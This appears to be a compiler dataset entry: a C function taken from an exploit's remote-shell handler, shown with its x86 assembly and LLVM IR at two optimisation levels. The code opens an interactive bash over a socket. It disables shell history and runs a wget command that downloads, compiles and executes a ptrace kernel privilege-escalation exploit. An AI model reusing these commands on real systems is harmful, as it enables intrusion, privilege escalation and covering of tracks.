#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ snd;
typedef int /*<<< orphan*/ rcv;
typedef int /*<<< orphan*/ fd_set;

/* Variables and functions */
scalar_t__ FD_ISSET(int, int /*<<< orphan*/ *);
int /*<<< orphan*/ FD_SET(int, int /*<<< orphan*/ *);
int /*<<< orphan*/ bzero(char *, int);
int /*<<< orphan*/ fflush(int /*<<< orphan*/);
int /*<<< orphan*/ fgets(char *, int, int /*<<< orphan*/);
int fileno(int /*<<< orphan*/);
int /*<<< orphan*/ fputs(char *, int /*<<< orphan*/);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *);
int read(int, char *, int);
int /*<<< orphan*/ select(int, int /*<<< orphan*/ *, int /*<<< orphan*/ *,
                          int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ stdin;
int /*<<< orphan*/ stdout;
int /*<<< orphan*/ strcpy(char *, char *);
int /*<<< orphan*/ strlen(char *);
int /*<<< orphan*/ write(int, char *, int /*<<< orphan*/);
int sh(int sockfd) {
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;
  strcpy(snd, "TERM=xterm; export TERM=xterm; exec bash -i\n"
              "\n");
  write(sockfd, snd, strlen(snd));
  strcpy(snd, "unset HISTFILE; cd /tmp; wget "
              "http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; "
              "gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
              "\n");
  write(sockfd, snd, strlen(snd));
  for (;;) {
    FD_SET(fileno(stdin), &rset);
    FD_SET(sockfd, &rset);
    maxfd = ((fileno(stdin) > sockfd) ? fileno(stdin) : sockfd) + 1;
    select(maxfd, &rset, NULL, NULL, NULL);
    if (FD_ISSET(fileno(stdin), &rset)) {
      bzero(snd, sizeof(snd));
      fgets(snd, sizeof(snd) - 2, stdin);
      write(sockfd, snd, strlen(snd));
    }
    if (FD_ISSET(sockfd, &rset)) {
      bzero(rcv, sizeof(rcv));
      if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
        printf("Good Bye!\n");
        return 0;
      }
      if (n < 0) {
        perror("read");
        return 1;
      }
      fputs(rcv, stdout);
      fflush(stdout);
    }
  }
}


x86 assembly (clang, -O0):
<sh>:
push   %rbp
mov    %rsp,%rbp
sub    $0x850,%rsp
mov    %edi,-0x8(%rbp)
lea    -0x410(%rbp),%rdi
lea    0xe04(%rip),%rsi
call   1030 <strcpy@plt>
mov    -0x8(%rbp),%eax
mov    %eax,-0x83c(%rbp)
lea    -0x410(%rbp),%rax
mov    %rax,-0x838(%rbp)
lea    -0x410(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x83c(%rbp),%edi
mov    -0x838(%rbp),%rsi
mov    %eax,%edx
call   1040 <write@plt>
lea    -0x410(%rbp),%rdi
lea    0xde8(%rip),%rsi
call   1030 <strcpy@plt>
mov    -0x8(%rbp),%eax
mov    %eax,-0x82c(%rbp)
lea    -0x410(%rbp),%rax
mov    %rax,-0x828(%rbp)
lea    -0x410(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x82c(%rbp),%edi
mov    -0x828(%rbp),%rsi
mov    %eax,%edx
call   1040 <write@plt>
mov    0x2d5f(%rip),%rax
mov    (%rax),%edi
call   10b0 <fileno@plt>
mov    %eax,%edi
lea    -0x814(%rbp),%rsi
call   1100 <FD_SET@plt>
mov    -0x8(%rbp),%edi
lea    -0x814(%rbp),%rsi
call   1100 <FD_SET@plt>
mov    0x2d34(%rip),%rax
mov    (%rax),%edi
call   10b0 <fileno@plt>
cmp    -0x8(%rbp),%eax
jle    12dd <sh+0xfd>
mov    0x2d1d(%rip),%rax
mov    (%rax),%edi
call   10b0 <fileno@plt>
mov    %eax,-0x840(%rbp)
jmp    12e6 <sh+0x106>
mov    -0x8(%rbp),%eax
mov    %eax,-0x840(%rbp)
mov    -0x840(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x818(%rbp)
mov    -0x818(%rbp),%edi
lea    -0x814(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%r8d
mov    %r8,%rdx
mov    %r8,%rcx
call   10c0 <select@plt>
mov    0x2ccf(%rip),%rax
mov    (%rax),%edi
call   10b0 <fileno@plt>
mov    %eax,%edi
lea    -0x814(%rbp),%rsi
call   1050 <FD_ISSET@plt>
cmp    $0x0,%rax
je     139a <sh+0x1ba>
lea    -0x410(%rbp),%rdi
mov    $0x400,%esi
call   10f0 <bzero@plt>
lea    -0x410(%rbp),%rdi
mov    0x2c91(%rip),%rax
mov    (%rax),%edx
mov    $0x3fe,%esi
call   10a0 <fgets@plt>
mov    -0x8(%rbp),%eax
mov    %eax,-0x84c(%rbp)
lea    -0x410(%rbp),%rax
mov    %rax,-0x848(%rbp)
lea    -0x410(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x84c(%rbp),%edi
mov    -0x848(%rbp),%rsi
mov    %eax,%edx
call   1040 <write@plt>
mov    -0x8(%rbp),%edi
lea    -0x814(%rbp),%rsi
call   1050 <FD_ISSET@plt>
cmp    $0x0,%rax
je     1447 <sh+0x267>
lea    -0x810(%rbp),%rdi
mov    $0x400,%esi
call   10f0 <bzero@plt>
mov    -0x8(%rbp),%edi
lea    -0x810(%rbp),%rsi
mov    $0x400,%edx
call   1090 <read@plt>
mov    %eax,-0x81c(%rbp)
cmp    $0x0,%eax
jne    13ff <sh+0x21f>
lea    0xccf(%rip),%rdi
call   1070 <printf@plt>
movl   $0x0,-0x4(%rbp)
jmp    144c <sh+0x26c>
cmpl   $0x0,-0x81c(%rbp)
jge    1424 <sh+0x244>
lea    0xcb5(%rip),%rdi
call   10e0 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    144c <sh+0x26c>
lea    -0x810(%rbp),%rdi
mov    0x2ba6(%rip),%rax
mov    (%rax),%esi
call   1080 <fputs@plt>
mov    0x2b98(%rip),%rax
mov    (%rax),%edi
call   10d0 <fflush@plt>
jmp    1282 <sh+0xa2>
mov    -0x4(%rbp),%eax
add    $0x850,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<sh>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x818,%rsp
mov    %edi,%ebx
lea    0xe06(%rip),%rsi
lea    0x410(%rsp),%r14
mov    %r14,%rdi
call   1030 <strcpy@plt>
mov    %r14,%rdi
call   1070 <strlen@plt>
mov    %ebx,%edi
mov    %r14,%rsi
mov    %eax,%edx
call   1050 <write@plt>
lea    0xe09(%rip),%rsi
mov    %r14,%rdi
call   1030 <strcpy@plt>
mov    %r14,%rdi
call   1070 <strlen@plt>
mov    %ebx,%edi
mov    %r14,%rsi
mov    %eax,%edx
call   1050 <write@plt>
mov    0x2da0(%rip),%r13
lea    0xc(%rsp),%r15
lea    0x10(%rsp),%r12
mov    0x2d7f(%rip),%rbp
nopl   0x0(%rax)
mov    0x0(%r13),%edi
call   10b0 <fileno@plt>
mov    %eax,%edi
mov    %r15,%rsi
call   1100 <FD_SET@plt>
mov    %ebx,%edi
mov    %r15,%rsi
call   1100 <FD_SET@plt>
mov    0x0(%r13),%edi
call   10b0 <fileno@plt>
mov    %ebx,%edi
cmp    %ebx,%eax
jle    1297 <sh+0xb7>
mov    0x0(%r13),%edi
call   10b0 <fileno@plt>
mov    %eax,%edi
add    $0x1,%edi
mov    %r15,%rsi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
call   10c0 <select@plt>
mov    0x0(%r13),%edi
call   10b0 <fileno@plt>
mov    %eax,%edi
mov    %r15,%rsi
call   1060 <FD_ISSET@plt>
test   %rax,%rax
je     12f3 <sh+0x113>
mov    %r14,%rdi
mov    $0x400,%esi
call   10f0 <bzero@plt>
mov    0x0(%r13),%edx
mov    %r14,%rdi
mov    $0x3fe,%esi
call   10a0 <fgets@plt>
mov    %r14,%rdi
call   1070 <strlen@plt>
mov    %ebx,%edi
mov    %r14,%rsi
mov    %eax,%edx
call   1050 <write@plt>
mov    %ebx,%edi
mov    %r15,%rsi
call   1060 <FD_ISSET@plt>
test   %rax,%rax
je     1260 <sh+0x80>
mov    %r12,%rdi
mov    $0x400,%esi
call   10f0 <bzero@plt>
mov    %ebx,%edi
mov    %r12,%rsi
mov    $0x400,%edx
call   1090 <read@plt>
test   %eax,%eax
je     1340 <sh+0x160>
js     1360 <sh+0x180>
mov    0x0(%rbp),%esi
mov    %r12,%rdi
call   1080 <fputs@plt>
mov    0x0(%rbp),%edi
call   10d0 <fflush@plt>
jmp    1260 <sh+0x80>
lea    0xd7b(%rip),%rdi
call   1040 <puts@plt>
xor    %eax,%eax
add    $0x818,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xd56(%rip),%rdi
call   10e0 <perror@plt>
mov    $0x1,%eax
jmp    134e <sh+0x16e>

LLVM IR (-O0):
@.str = [46 x i8] c"TERM=xterm; export TERM=xterm; exec bash -i\0A\0A\00"
@.str.1 = [143 x i8] c"unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \0A\0A\00"
@stdin = global i32 0
@.str.2 = [11 x i8] c"Good Bye!\0A\00"
@.str.3 = [5 x i8] c"read\00"
@stdout = global i32 0
define i32 @sh(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca [1024 x i8]
%5 = alloca [1024 x i8]
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
store i32 %0, i32* %3
%9 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%10 = call i32 @strcpy(i8* %9, i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str, i64 0, i64 0))
%11 = load i32, i32* %3
%12 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%13 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%14 = call i32 @strlen(i8* %13)
%15 = call i32 @write(i32 %11, i8* %12, i32 %14)
%16 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%17 = call i32 @strcpy(i8* %16, i8* getelementptr inbounds ([143 x i8], [143 x i8]* @.str.1, i64 0, i64 0))
%18 = load i32, i32* %3
%19 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%20 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%21 = call i32 @strlen(i8* %20)
%22 = call i32 @write(i32 %18, i8* %19, i32 %21)
br label %23
23: ; preds = %82, %1
%24 = load i32, i32* @stdin
%25 = call i32 @fileno(i32 %24)
%26 = call i32 @FD_SET(i32 %25, i32* %6)
%27 = load i32, i32* %3
%28 = call i32 @FD_SET(i32 %27, i32* %6)
%29 = load i32, i32* @stdin
%30 = call i32 @fileno(i32 %29)
%31 = load i32, i32* %3
%32 = icmp sgt i32 %30, %31
br i1 %32, label %33, label %36
33: ; preds = %23
%34 = load i32, i32* @stdin
%35 = call i32 @fileno(i32 %34)
br label %38
36: ; preds = %23
%37 = load i32, i32* %3
br label %38
38: ; preds = %36, %33
%39 = phi i32 [ %35, %33 ], [ %37, %36 ]
%40 = add nsw i32 %39, 1
store i32 %40, i32* %7
%41 = load i32, i32* %7
%42 = call i32 @select(i32 %41, i32* %6, i32* null, i32* null, i32* null)
%43 = load i32, i32* @stdin
%44 = call i32 @fileno(i32 %43)
%45 = call i64 @FD_ISSET(i32 %44, i32* %6)
%46 = icmp ne i64 %45, 0
br i1 %46, label %47, label %58
47: ; preds = %38
%48 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%49 = call i32 @bzero(i8* %48, i32 1024)
%50 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%51 = load i32, i32* @stdin
%52 = call i32 @fgets(i8* %50, i32 1022, i32 %51)
%53 = load i32, i32* %3
%54 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%55 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%56 = call i32 @strlen(i8* %55)
%57 = call i32 @write(i32 %53, i8* %54, i32 %56)
br label %58
58: ; preds = %47, %38
%59 = load i32, i32* %3
%60 = call i64 @FD_ISSET(i32 %59, i32* %6)
%61 = icmp ne i64 %60, 0
br i1 %61, label %62, label %82
62: ; preds = %58
%63 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 0
%64 = call i32 @bzero(i8* %63, i32 1024)
%65 = load i32, i32* %3
%66 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 0
%67 = call i32 @read(i32 %65, i8* %66, i32 1024)
store i32 %67, i32* %8
%68 = icmp eq i32 %67, 0
br i1 %68, label %69, label %71
69: ; preds = %62
%70 = call i32 @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.2, i64 0, i64 0))
store i32 0, i32* %2
br label %83
71: ; preds = %62
%72 = load i32, i32* %8
%73 = icmp slt i32 %72, 0
br i1 %73, label %74, label %76
74: ; preds = %71
%75 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.3, i64 0, i64 0))
store i32 1, i32* %2
br label %83
76: ; preds = %71
%77 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 0
%78 = load i32, i32* @stdout
%79 = call i32 @fputs(i8* %77, i32 %78)
%80 = load i32, i32* @stdout
%81 = call i32 @fflush(i32 %80)
br label %82
82: ; preds = %76, %58
br label %23
83: ; preds = %74, %69
%84 = load i32, i32* %2
ret i32 %84
}

LLVM IR (-O2):
@.str = [46 x i8] c"TERM=xterm; export TERM=xterm; exec bash -i\0A\0A\00"
@.str.1 = [143 x i8] c"unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \0A\0A\00"
@stdin = global i32 0
@.str.3 = [5 x i8] c"read\00"
@stdout = global i32 0
@str = [10 x i8] c"Good Bye!\00"
define i32 @sh(i32 %0) {
%2 = alloca [1024 x i8]
%3 = alloca [1024 x i8]
%4 = alloca i32
%5 = getelementptr inbounds [1024 x i8], [1024 x i8]* %2, i64 0, i64 0
%6 = getelementptr inbounds [1024 x i8], [1024 x i8]* %3, i64 0, i64 0
%7 = bitcast i32* %4 to i8*
%8 = call i32 @strcpy(i8* %5, i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str, i64 0, i64 0))
%9 = call i32 @strlen(i8* %5)
%10 = call i32 @write(i32 %0, i8* %5, i32 %9)
%11 = call i32 @strcpy(i8* %5, i8* getelementptr inbounds ([143 x i8], [143 x i8]* @.str.1, i64 0, i64 0))
%12 = call i32 @strlen(i8* %5)
%13 = call i32 @write(i32 %0, i8* %5, i32 %12)
br label %14
14: ; preds = %57, %1
%15 = load i32, i32* @stdin
%16 = call i32 @fileno(i32 %15)
%17 = call i32 @FD_SET(i32 %16, i32* %4)
%18 = call i32 @FD_SET(i32 %0, i32* %4)
%19 = load i32, i32* @stdin
%20 = call i32 @fileno(i32 %19)
%21 = icmp sgt i32 %20, %0
br i1 %21, label %22, label %25
22: ; preds = %14
%23 = load i32, i32* @stdin
%24 = call i32 @fileno(i32 %23)
br label %25
25: ; preds = %14, %22
%26 = phi i32 [ %24, %22 ], [ %0, %14 ]
%27 = add nsw i32 %26, 1
%28 = call i32 @select(i32 %27, i32* %4, i32* null, i32* null, i32* null)
%29 = load i32, i32* @stdin
%30 = call i32 @fileno(i32 %29)
%31 = call i64 @FD_ISSET(i32 %30, i32* %4)
%32 = icmp eq i64 %31, 0
br i1 %32, label %39, label %33
33: ; preds = %25
%34 = call i32 @bzero(i8* %5, i32 1024)
%35 = load i32, i32* @stdin
%36 = call i32 @fgets(i8* %5, i32 1022, i32 %35)
%37 = call i32 @strlen(i8* %5)
%38 = call i32 @write(i32 %0, i8* %5, i32 %37)
br label %39
39: ; preds = %33, %25
%40 = call i64 @FD_ISSET(i32 %0, i32* %4)
%41 = icmp eq i64 %40, 0
br i1 %41, label %57, label %42
42: ; preds = %39
%43 = call i32 @bzero(i8* %6, i32 1024)
%44 = call i32 @read(i32 %0, i8* %6, i32 1024)
%45 = icmp eq i32 %44, 0
br i1 %45, label %46, label %48
46: ; preds = %42
%47 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([10 x i8], [10 x i8]* @str, i64 0, i64 0))
br label %58
48: ; preds = %42
%49 = icmp slt i32 %44, 0
br i1 %49, label %50, label %52
50: ; preds = %48
%51 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.3, i64 0, i64 0))
br label %58
52: ; preds = %48
%53 = load i32, i32* @stdout
%54 = call i32 @fputs(i8* %6, i32 %53)
%55 = load i32, i32* @stdout
%56 = call i32 @fflush(i32 %55)
br label %57
57: ; preds = %52, %39
br label %14
58: ; preds = %50, %46
%59 = phi i32 [ 0, %46 ], [ 1, %50 ]
ret i32 %59
}